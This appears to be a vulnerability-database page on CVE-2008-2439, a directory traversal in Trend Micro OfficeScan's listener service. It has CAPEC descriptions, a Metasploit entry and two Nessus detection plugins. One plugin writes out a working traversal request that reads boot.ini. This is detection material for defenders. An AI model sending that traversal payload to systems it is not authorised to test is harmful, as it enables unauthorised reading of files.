Vulnerabilities > CVE-2008-2439 - Path Traversal vulnerability in Trend Micro Officescan and Worry Free Business Security
Summary
Directory traversal vulnerability in the UpdateAgent function in TmListen.exe in the OfficeScanNT Listener service in the client in Trend Micro OfficeScan 7.3 Patch 4 build 1367 and other builds before 1372, OfficeScan 8.0 SP1 before build 1222, OfficeScan 8.0 SP1 Patch 1 before build 3087, and Worry-Free Business Security 5.0 before build 1220 allows remote attackers to read arbitrary files via directory traversal sequences in an HTTP request. NOTE: some of these details are obtained from third party information.
Vulnerable Configurations
Part | Description | Count |
---|---|---|
Application | 4 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Relative Path Traversal An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
- Directory Traversal An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
- File System Function Injection, Content Based An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
- Using Slashes and URL Encoding Combined to Bypass Validation Logic This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
- Manipulating Input to File System Calls An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
Metasploit
description | This module tests for directory traversal vulnerability in the UpdateAgent function in the OfficeScanNT Listener (TmListen.exe) service in Trend Micro OfficeScan. This allows remote attackers to read arbitrary files as SYSTEM via dot dot sequences in an HTTP request. |
id | MSF:AUXILIARY/ADMIN/OFFICESCAN/TMLISTEN_TRAVERSAL |
last seen | 2020-01-10 |
modified | 2017-11-08 |
published | 2009-01-05 |
references | |
reporter | Rapid7 |
source | https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/admin/officescan/tmlisten_traversal.rb |
title | TrendMicro OfficeScanNT Listener Traversal Arbitrary File Access |
Nessus
NASL family Web Servers NASL id TRENDMICRO_OFFICESCAN_CLIENT_DIR_TRAVERSAL.NASL description The version of Trend Micro OfficeScan client running on the remote host is affected by a directory traversal issue that can be leveraged by an unauthenticated, remote attacker to read arbitrary files on the remote host. Note that successful exploitation requires that last seen 2020-06-01 modified 2020-06-02 plugin id 34362 published 2008-10-08 reporter This script is Copyright (C) 2008-2018 Tenable Network Security, Inc. source https://www.tenable.com/plugins/nessus/34362 title Trend Micro OfficeScan Client Traversal Arbitrary File Access code # # (C) Tenable Network Security, Inc. # include("compat.inc"); if (description) { script_id(34362); script_version("1.18"); script_cve_id("CVE-2008-2439"); script_bugtraq_id(31531); script_xref(name:"Secunia", value:"31343"); script_name(english:"Trend Micro OfficeScan Client Traversal Arbitrary File Access"); script_summary(english:"Exploits a directory traversal issue in Trend Micro OfficeScan Client"); script_set_attribute(attribute:"synopsis", value: "The remote web server is affected by a directory traversal issue." ); script_set_attribute(attribute:"description", value: "The version of Trend Micro OfficeScan client running on the remote host is affected by a directory traversal issue that can be leveraged by an unauthenticated, remote attacker to read arbitrary files on the remote host. Note that successful exploitation requires that 'Tmlisten.exe' be configured to receive updates from other clients." ); script_set_attribute(attribute:"see_also", value:"https://secuniaresearch.flexerasoftware.com/secunia_research/2008-39/" ); # http://www.trendmicro.com/ftp/documentation/readme/OSCE_7.3_Win_EN_CriticalPatch_B1372_Readme.txt script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?14a47516"); # http://www.trendmicro.com/ftp/documentation/readme/OSCE_8.0_SP1_Win_EN_CriticalPatch_B2439_Readme.txt script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?b5493c8c"); # http://www.trendmicro.com/ftp/documentation/readme/OSCE8.0_SP1_Patch1_CriticalPatch_3087_Readme.txt script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?c957bae3"); # http://www.trendmicro.com/ftp/documentation/readme/Readme_WFBS5.0_EN_CriticalPatch1414.txt script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?cabe4087"); script_set_attribute(attribute:"solution", value: "Upgrade to : - Trend Micro OfficeScan 7.3 Build 3172. - Trend Micro OfficeScan 8.0 Build 2439/3087 depending on the current OfficeScan patch level. - Worry-Free Business Security 5.0 Build 1414." ); script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N"); script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C"); script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available"); script_set_attribute(attribute:"exploit_available", value:"false"); script_cwe_id(22); script_set_attribute(attribute:"plugin_publication_date", value: "2008/10/08"); script_set_attribute(attribute:"patch_publication_date", value: "2008/09/30"); script_cvs_date("Date: 2018/11/15 20:50:26"); script_set_attribute(attribute:"plugin_type", value:"remote"); script_set_attribute(attribute:"cpe",value:"cpe:/a:trend_micro:officescan"); script_set_attribute(attribute:"exploited_by_nessus", value:"true"); script_end_attributes(); script_category(ACT_ATTACK); script_family(english:"Web Servers"); script_copyright(english:"This script is Copyright (C) 2008-2018 Tenable Network Security, Inc."); script_dependencies("officescan_detect.nasl"); script_require_ports("TrendMicro/OfficeScanClient"); exit(0); } include("global_settings.inc"); include("misc_func.inc"); include("http.inc"); port = get_kb_item("TrendMicro/OfficeScanClient"); if (!port) exit(0); if (! get_port_state(port)) exit(0); exploit = "/activeupdate/../../../../../../../../../../../boot.ini"; w = http_send_recv3(method:"GET", item:exploit,port:port); if (isnull(w)) exit(1, "the web server did not answer"); res = w[2]; if ("[boot loader]" >< res && "[operating systems]" >< res ) { # We got a problem here....report if (report_verbosity) { report = string( "\n", "Nessus could get the contents of 'boot.ini' using the following\n", "URL : \n", "\n", " ", build_url(port:port, qs:exploit),'\n', '\n' ); if (report_verbosity > 1) { report = string( report, "\n", "Here are the contents :\n", "\n", res ); } security_warning(port:port,extra:report); } else security_warning(port); }
NASL family Windows NASL id TRENDMICRO_OFFICESCAN_MULTIPLE_VULNS.NASL description The remote host is either running Worry-Free Business Security or Trend Micro OfficeScan/Trend Micro OfficeScan client. The installed version is affected by multiple vulnerabilities : - If Trend Micro OfficeScan client last seen 2020-06-01 modified 2020-06-02 plugin id 34363 published 2008-10-08 reporter This script is Copyright (C) 2008-2018 Tenable Network Security, Inc. source https://www.tenable.com/plugins/nessus/34363 title Trend Micro OfficeScan Multiple CGI Module Vulnerabilities code # # (C) Tenable Network Security, Inc. # include("compat.inc"); if (description) { script_id(34363); script_version("1.22"); script_cvs_date("Date: 2018/11/15 20:50:29"); script_cve_id("CVE-2008-2439", "CVE-2008-4402", "CVE-2008-4403"); script_bugtraq_id(31531); script_xref(name:"Secunia", value:"32097"); script_xref(name:"Secunia", value:"31343"); script_name(english:"Trend Micro OfficeScan Multiple CGI Module Vulnerabilities"); script_summary(english:"Checks for vulnerable versions of Trend Micro products"); script_set_attribute(attribute:"synopsis", value: "The remote host contains an application that is affected by multiple vulnerabilities."); script_set_attribute(attribute:"description", value: "The remote host is either running Worry-Free Business Security or Trend Micro OfficeScan/Trend Micro OfficeScan client. The installed version is affected by multiple vulnerabilities : - If Trend Micro OfficeScan client 'Tmlisten.exe' is configured to receive updates from other clients, it may be possible to launch a directory traversal attack against the remote host, and read arbitrary files. - A vulnerability in Trend Micro OfficeScan server CGI modules could be exploited to trigger a buffer overflow issue and execute arbitrary code on the remote system with web server privileges. - A NULL pointer dereference issue could be exploited to trigger a denial of service condition on the remote system."); script_set_attribute(attribute:"see_also", value:"https://secuniaresearch.flexerasoftware.com/secunia_research/2008-39/"); # http://www.trendmicro.com/ftp/documentation/readme/OSCE_7.3_Win_EN_CriticalPatch_B1372_Readme.txt script_set_attribute( attribute:"see_also", value:"http://www.nessus.org/u?14a47516" ); # http://www.trendmicro.com/ftp/documentation/readme/OSCE_8.0_SP1_Win_EN_CriticalPatch_B2439_Readme.txt script_set_attribute( attribute:"see_also", value:"http://www.nessus.org/u?b5493c8c" ); # http://www.trendmicro.com/ftp/documentation/readme/OSCE8.0_SP1_Patch1_CriticalPatch_3087_Readme.txt script_set_attribute( attribute:"see_also", value:"http://www.nessus.org/u?c957bae3" ); # http://www.trendmicro.com/ftp/documentation/readme/Readme_WFBS5.0_EN_CriticalPatch1414.txt script_set_attribute( attribute:"see_also", value:"http://www.nessus.org/u?cabe4087" ); script_set_attribute(attribute:"solution", value: "Upgrade to : - Trend Micro OfficeScan 7.3 Build 1372. - Trend Micro OfficeScan 8.0 Build 2439/3087 depending on the current OfficeScan patch level. - Worry-Free Business Security 5.0 Build 1414."); script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P"); script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C"); script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available"); script_set_attribute(attribute:"exploit_available", value:"false"); script_cwe_id(22, 119, 399); script_set_attribute(attribute:"patch_publication_date", value:"2008/09/30"); script_set_attribute(attribute:"plugin_publication_date", value:"2008/10/08"); script_set_attribute(attribute:"plugin_type", value:"local"); script_set_attribute(attribute:"cpe", value:"cpe:/a:trend_micro:officescan"); script_end_attributes(); script_category(ACT_GATHER_INFO); script_family(english:"Windows"); script_copyright(english:"This script is Copyright (C) 2008-2018 Tenable Network Security, Inc."); script_dependencies("smb_hotfixes.nasl"); script_require_ports(139, 445); exit(0); } include("global_settings.inc"); include("smb_func.inc"); include("audit.inc"); include("misc_func.inc"); if (!get_kb_item("SMB/Registry/Enumerated")) exit(0); # Connect to the appropriate share. name = kb_smb_name(); port = kb_smb_transport(); login = kb_smb_login(); pass = kb_smb_password(); domain = kb_smb_domain(); if(! smb_session_init()) audit(AUDIT_FN_FAIL, 'smb_session_init'); rc = NetUseAdd(login:login, password:pass, domain:domain, share:"IPC$"); if (rc != 1) { NetUseDel(); exit(0); } # Connect to remote registry. hklm = RegConnectRegistry(hkey:HKEY_LOCAL_MACHINE); if (isnull(hklm)) { NetUseDel(); exit(0); } # Figure out the Software version path = NULL; server_version = NULL; SP_version = NULL; key = "SOFTWARE\TrendMicro\OfficeScan\service\Information"; key_h = RegOpenKey(handle:hklm, key:key, mode:MAXIMUM_ALLOWED); if (!isnull(key_h)) { # TrendMicro OfficeScan Server install... value = RegQueryValue(handle:key_h, item:"Local_Path"); if (!isnull(value)) path = value[1]; value = RegQueryValue(handle:key_h, item:"Server_Version"); if (!isnull(value)) server_version = value[1]; value = RegQueryValue(handle:key_h, item:"ServicePack_Build"); if (!isnull(value)) SP_version = value[1]; RegCloseKey(handle:key_h); } # Check if Worry-Free Business Server is installed. wfbs = 0; key = "SOFTWARE\TrendMicro\WFBS"; key_h = RegOpenKey(handle:hklm, key:key, mode:MAXIMUM_ALLOWED); if (!isnull(key_h)) { wfbs = 1; RegCloseKey(handle:key_h); } if(isnull(path)) { # If we reach here, we are probably looking at a client only # install key = "SOFTWARE\TrendMicro\PC-cillinNTCorp\CurrentVersion"; key_h = RegOpenKey(handle:hklm, key:key, mode:MAXIMUM_ALLOWED); if (!isnull(key_h)) { value = RegQueryValue(handle:key_h, item:"Application Path"); if (!isnull(value)) path = value[1]; } } RegCloseKey(handle:hklm); if (isnull(path)) { NetUseDel(); exit(0); } NetUseDel(close:FALSE); # Grab the file version of tmlisten.exe share = ereg_replace(pattern:"^([A-Za-z]):.*", replace:"\1$", string:path); if("PCCSRV" >< path) exe = ereg_replace(pattern:"^[A-Za-z]:(.*)", replace:"\1Pccnt\Common\Tmlisten.exe", string:path); else { exe = ereg_replace(pattern:"^[A-Za-z]:(.*)", replace:"\1Tmlisten.exe", string:path); dll = ereg_replace(pattern:"^[A-Za-z]:(.*)", replace:"\1NTSvcRes.dll", string:path); } rc = NetUseAdd(login:login, password:pass, domain:domain, share:share); if (rc != 1) { NetUseDel(); exit(0); } fh = CreateFile( file:exe, desired_access:GENERIC_READ, file_attributes:FILE_ATTRIBUTE_NORMAL, share_mode:FILE_SHARE_READ, create_disposition:OPEN_EXISTING ); ver = NULL; if (!isnull(fh)) { ver = GetFileVersion(handle:fh); CloseFile(handle:fh); } ver_dll = NULL; if ("PCCSRV" >!< path) { # nb : Reporting client only installs based on # file version of tmlisten.exe could result in FP's. # Therefore we try to get the service pack info # from a dll file known to indicate correct SP version # in use. fh = CreateFile( file:dll, desired_access:GENERIC_READ, file_attributes:FILE_ATTRIBUTE_NORMAL, share_mode:FILE_SHARE_READ, create_disposition:OPEN_EXISTING ); if (!isnull(fh)) { ver_dll = GetFileVersion(handle:fh); CloseFile(handle:fh); } } NetUseDel(); # Check the version number. if (!isnull(ver_dll)) { if(isnull(server_version)) server_version = string(ver_dll[0],".",ver_dll[1]); if(isnull(SP_version)) SP_version = string(ver_dll[3]); } if (!isnull(ver)) { for (i=0; i < max_index(ver); i++) ver[i] = int(ver[i]); if ( # OfficeScan 7.3 without patch 1372, Tmlisten.exe file version == 7.3.0.1372 ( ver[0] == 7 && ver[1] == 3 && ver[2] == 0 && ver[3] < 1372) || # OfficeScan 8.0 Service Pack 1 without patch 2439, Tmlisten.exe file version == 10.0.0.1222 ( server_version == "8.0" && SP_version >= 2302 && ver[0] == 10 && ver[1] == 0 && ver[2] == 0 && ver[3] < 1222) || # OfficeScan 8.0 Service Pack 1 Patch 1 w/o patch 3087, Tmlisten.exe file version == 10.5.0.1040 ( server_version == "8.0" && SP_version >= 3031 && ver[0] == 10 && ver[1] == 5 && ver[2] == 0 && ver[3] < 1040) || # WorryFree 5.0 without patch 1414, Tmlisten.exe file version == 10.0.0.1220 ( wfbs && ver[0] == 10 && ver[1] == 0 && ver[2] == 0 && ver[3] < 1220) ) if (report_verbosity ) { if("PCCSRV" >< path) path = string(path,"Pccnt\\Common"); report = string( "\n", "Version ", string(ver[0],".",ver[1],".",ver[2],".",ver[3])," of Tmlisten.exe\n", " is installed under :\n", "\n", " ", path,"\n" ); security_hole(port:port,extra:report); } else security_hole(port); }
References
- http://secunia.com/advisories/31343
- http://secunia.com/advisories/31343
- http://secunia.com/advisories/32097
- http://secunia.com/advisories/32097
- http://secunia.com/secunia_research/2008-39/
- http://secunia.com/secunia_research/2008-39/
- http://www.securityfocus.com/archive/1/496970/100/0/threaded
- http://www.securityfocus.com/archive/1/496970/100/0/threaded
- http://www.securityfocus.com/bid/31531
- http://www.securityfocus.com/bid/31531
- http://www.securitytracker.com/id?1020975
- http://www.securitytracker.com/id?1020975
- http://www.trendmicro.com/ftp/documentation/readme/OSCE_7.3_Win_EN_CriticalPatch_B1372_Readme.txt
- http://www.trendmicro.com/ftp/documentation/readme/OSCE_7.3_Win_EN_CriticalPatch_B1372_Readme.txt
- http://www.trendmicro.com/ftp/documentation/readme/OSCE_8.0_SP1_Win_EN_CriticalPatch_B2439_Readme.txt
- http://www.trendmicro.com/ftp/documentation/readme/OSCE_8.0_SP1_Win_EN_CriticalPatch_B2439_Readme.txt
- http://www.trendmicro.com/ftp/documentation/readme/OSCE8.0_SP1_Patch1_CriticalPatch_3087_Readme.txt
- http://www.trendmicro.com/ftp/documentation/readme/OSCE8.0_SP1_Patch1_CriticalPatch_3087_Readme.txt
- http://www.trendmicro.com/ftp/documentation/readme/Readme_WFBS5.0_EN_CriticalPatch1414.txt
- http://www.trendmicro.com/ftp/documentation/readme/Readme_WFBS5.0_EN_CriticalPatch1414.txt
- http://www.vupen.com/english/advisories/2008/2711
- http://www.vupen.com/english/advisories/2008/2711
- http://www.vupen.com/english/advisories/2008/2712
- http://www.vupen.com/english/advisories/2008/2712
- https://exchange.xforce.ibmcloud.com/vulnerabilities/45597
- https://exchange.xforce.ibmcloud.com/vulnerabilities/45597